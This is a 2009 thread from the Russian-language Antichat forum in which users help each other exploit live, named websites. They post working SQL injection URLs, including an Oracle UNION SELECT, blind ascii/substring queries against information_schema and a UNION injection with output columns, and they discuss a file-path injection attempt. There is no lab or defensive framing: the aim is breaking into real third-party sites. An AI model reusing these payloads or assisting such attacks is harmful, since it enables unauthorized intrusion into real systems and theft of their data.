ANTICHAT — форум по информационной безопасности, OSINT и технологиям
ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию.
Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club,
и теперь снова доступен на новом адресе —
forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.
 |
|

04.01.2009, 10:47
|
|
Участник форума
Регистрация: 28.07.2008
Сообщений: 199
Провел на форуме: 861008
Репутация:
58
|
|
to o3,14um а смысле нет файла?)) если ты про ошибку то я сам перевел что он ругается на отсуствие файла) разве это не иньект?
мне кажется что он не может найти папку которую я указал выше) т.к. своим запросом исковеркал ее имя))
Последний раз редактировалось j0ker13; 04.01.2009 в 10:55..
|
|
|

04.01.2009, 11:53
|
|
Участник форума
Регистрация: 16.11.2006
Сообщений: 230
Провел на форуме: 599789
Репутация:
227
|
|
Это какбы файл должен быть атким:
lang/inc.lang1.php
НО ты изменил запрос на
lang/inc.lang/
и теперь имя файла воспринимается как папка, которой не существует. Успез зависит от оси и от других папок, расположенный в этой папке=)
Если там сеть папка, с началом названия inc.lang то те повезло
|
|
|

04.01.2009, 12:13
|
|
Участник форума
Регистрация: 28.07.2008
Сообщений: 199
Провел на форуме: 861008
Репутация:
58
|
|
2Iceangel_ ога)
2o3,14um вот и я про тоже)
кароч вот http://nouveauniveau.com/index.php4?lang=1'
|
|
|

04.01.2009, 12:28
|
|
Участник форума
Регистрация: 28.07.2008
Сообщений: 158
Провел на форуме: 728470
Репутация:
115
|
|
Сообщение от prescott
Код:
http://lada-auto.ru/cgi-bin/models.pl?model_id=6295171+union+select+1,null,to_char(213),null+from+sys.dual--%20&branch=tth
Помогите с ORACLE инъекцией. Не могу подобрать тип данных для третьего столбца. В чем ошибка?
Еще раз спрошу
|
|
|

04.01.2009, 13:26
|
|
Banned
Регистрация: 20.06.2008
Сообщений: 296
Провел на форуме: 1385078
Репутация:
126
|
|
http://eroking.ru/podr.php?gid=2827%27
как раскрутить?
|
|
|

04.01.2009, 14:11
|
|
Reservists Of Antichat - Level 6
Регистрация: 05.12.2006
Сообщений: 195
Провел на форуме: 14023893
Репутация:
2163
|
|
Сообщение от F4R
http://eroking.ru/podr.php?gid=2827%27
как раскрутить?
_eroking.ru/podr.php?gid=2827'+and+ascii(substring((select+tab le_name+from+information_schema.tables+limit+1),1, 1))=67--
Сообщение от prescott
Еще раз спрошу
там даже при повторной выборке этого столбца несовместимость типа данных ) копай через другие скрипты
|
|
|

04.01.2009, 14:59
|
|
Banned
Регистрация: 20.06.2008
Сообщений: 296
Провел на форуме: 1385078
Репутация:
126
|
|
eroking.ru/podr.php?gid=2827'+and+ascii(substring((select+tab le_name+from+information_schema.tables+limit+1),1, 1))=67--
никанает (((
|
|
|

04.01.2009, 15:19
|
|
Members of Antichat - Level 5
Регистрация: 18.02.2008
Сообщений: 1,136
Провел на форуме: 17621293
Репутация:
4915
|
|
Сообщение от F4R
никанает (((
Ещё как канает
http://eroking.ru/podr.php?gid=2827'+and+ascii(substring((select+tab le_name+from+information_schema.tables+limit+1),1, 1))=67 +-- +
PS F4R , Мне кажется пора прочитать что-то по скулям. а не просто постить линки с ковычкой и вопросом "как раскрутить"
|
|
|

04.01.2009, 15:53
|
|
Banned
Регистрация: 20.06.2008
Сообщений: 296
Провел на форуме: 1385078
Репутация:
126
|
|
да там просто страница с вагиной открывается и всё)
|
|
|

04.01.2009, 17:34
|
|
Участник форума
Регистрация: 20.12.2007
Сообщений: 295
Провел на форуме: 1777055
Репутация:
347
|
|
Сообщение от jokester
Ещё как канает
http://eroking.ru/podr.php?gid=2827'+and+ascii(substring((select+tab le_name+from+information_schema.tables+limit+1),1, 1))=67+--+
PS F4R , Мне кажется пора прочитать что-то по скулям. а не просто постить линки с ковычкой и вопросом "как раскрутить"
там рядом есть инъекция с выводимыми полями
Код:
http://eroking.ru/list.php?grp=-1'+union+select+1,2,3,4--+0
Последний раз редактировалось bons; 04.01.2009 в 17:37..
|
|
|
|
 |
|
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|